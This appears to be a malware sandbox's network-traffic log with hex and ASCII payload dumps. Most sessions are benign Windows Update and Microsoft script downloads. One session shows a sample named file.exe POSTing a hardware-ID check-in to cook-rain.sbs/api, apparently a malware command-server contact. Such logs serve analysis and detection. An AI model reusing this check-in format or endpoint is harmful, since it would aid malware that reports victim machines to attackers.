cfL4;desc="?proto=TCP&rtt=1420&sent=219&recv=584&lost=0&retrans=0&sent_bytes=2828&recv_bytes=551739&delivery_rate=2000000&cwnd=222&unsent_bytes=0&cid=6a45fb0f6ce935ea&ts=9877&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:24 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+7vLtpV9PoSKS8u&MD=7veRZGpl HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-16 19:12:24 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 47f8a77b-eaac-4524-918f-ba8cb83a14b8 MS-RequestId: 23764e31-db99-4731-a0bd-e016e7da1fc1 MS-CV: wRhX/FJT9UK0mKri.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 16 Nov 2024 19:12:23 GMT Connection: close Content-Length: 24490
2024-11-16 19:12:24 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-16 19:12:24 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49743	188.114.96.3	443	7412	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:31 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: cook-rain.sbs
2024-11-16 19:12:31 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 45 43 44 32 39 30 44 39 32 32 37 46 30 37 32 44 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=ECD290D9227F072DF7005D7B20127A88
2024-11-16 19:12:32 UTC	1007	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=84t0vp5k2c5noq49lp9dkmltvl; expires=Wed, 12-Mar-2025 12:59:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hwe5NBkF55ibwFczoOosmYylxr0bmBb5xyprpziBtz6J%2BgeqCD8gBIPy4zj%2F%2FSkLHtRuw%2BZ0Qj%2FQDQXO6MjZLyLyyeOYGAYRmQ3xTnl5HAAEay5BC5mTQzZTmGyxsjtD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e39cb08183e2cd8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2004&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=985&delivery_rate=1430123&cwnd=245&unsent_bytes=0&cid=3c63682e21649886&ts=478&x=0"
2024-11-16 19:12:32 UTC	214	IN	Data Raw: 64 30 0d 0a 6e 62 63 41 43 38 4c 53 54 4f 54 61 56 63 52 6d 4c 31 62 4c 4a 62 32 72 31 2b 53 54 51 4b 51 79 78 30 68 4b 67 4a 57 70 31 73 50 47 7a 43 4a 2b 34 4f 68 75 6a 4b 34 68 74 46 78 7a 65 5a 63 4b 6a 4a 50 69 79 71 46 78 6b 52 7a 32 65 58 6d 75 70 4a 2b 4b 37 50 4c 52 5a 6c 66 74 74 69 6d 43 39 44 43 38 41 77 31 36 36 55 50 4a 69 65 33 55 76 32 4c 42 45 50 31 35 4e 36 7a 75 69 36 50 68 70 35 56 6f 66 37 61 69 64 72 6a 31 43 65 74 58 46 32 50 6c 46 34 79 65 2b 64 57 69 63 34 6f 44 38 52 52 6c 38 2b 48 4d 74 36 37 42 6d 48 4a 71 72 4c 59 6a 69 66 51 77 76 41 4d 4e 65 75 6c 44 79 59 6e 74 31 4c 39 69 77 52 44 39 65 54 66 64 0d 0a Data Ascii: d0nbcAC8LSTOTaVcRmL1bLJb2r1+STQKQyx0hKgJWp1sPGzCJ+4OhujK4htFxzeZcKjJPiyqFxkRz2eXmupJ+K7PLRZlfttimC9DC8Aw166UPJie3Uv2LBEP15N6zui6Php5Vof7aidrj1CetXF2PlF4ye+dWic4oD8RRl8+HMt67BmHJqrLYjifQwvAMNeulDyYnt1L9iwRD9eTfd
2024-11-16 19:12:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49758	13.107.246.45	443	2008	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:48 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-16 19:12:49 UTC	713	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:49 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 35800 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: b2b3bb0c-a01e-00e6-7808-389d67000000 x-ms-version: 2009-09-19 x-azure-ref: 20241116T191248Z-16547b76f7f9s8x7hC1DFWywrg00000002zg00000000crfs Accept-Ranges: bytes
2024-11-16 19:12:49 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-16 19:12:49 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-16 19:12:49 UTC	712	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-16 19:12:49 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-button
2024-11-16 19:12:49 UTC	3566	IN	Data Raw: 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 Data Ascii: "-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChang

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49761	13.107.246.67	443	2008	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:49 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-16 19:12:49 UTC	868	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:49 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: f82a7196-301e-006a-3e55-34f8b2000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241116T191249Z-164f84587bfghdt4hC1DFWu5nn000000030000000000bs5p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:12:49 UTC	15516	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-16 19:12:49 UTC	16384	IN	Data Raw: 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 31 31 29 5d 3d 22 49 50 72 6f 6d 69 73 65 22 29 2c 61 2e 74 6f Data Ascii: &&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(11)]="IPromise"),a.to
2024-11-16 19:12:49 UTC	16384	IN	Data Raw: 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 59 28 65 2c 22 6c 69 73 74 65 6e 65 72 73 22 2c 7b 67 Data Ascii: on(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(e){Y(e,"listeners",{g
2024-11-16 19:12:49 UTC	16384	IN	Data Raw: 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 41 5b 74 65 5d 28 65 29 2c Data Ascii: hComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};function c(){A[te](e),
2024-11-16 19:12:49 UTC	16384	IN	Data Raw: 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 4e 6c 28 29 7b 72 65 74 75 72 Data Ascii: fined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return null}function Nl(){retur
2024-11-16 19:12:49 UTC	16384	IN	Data Raw: 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 65 29 7b 76 61 72 20 6f 3d 74 68 69 73 2c 63 3d 7b 7d 3b Data Ascii: me failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(a,e){var o=this,c={};
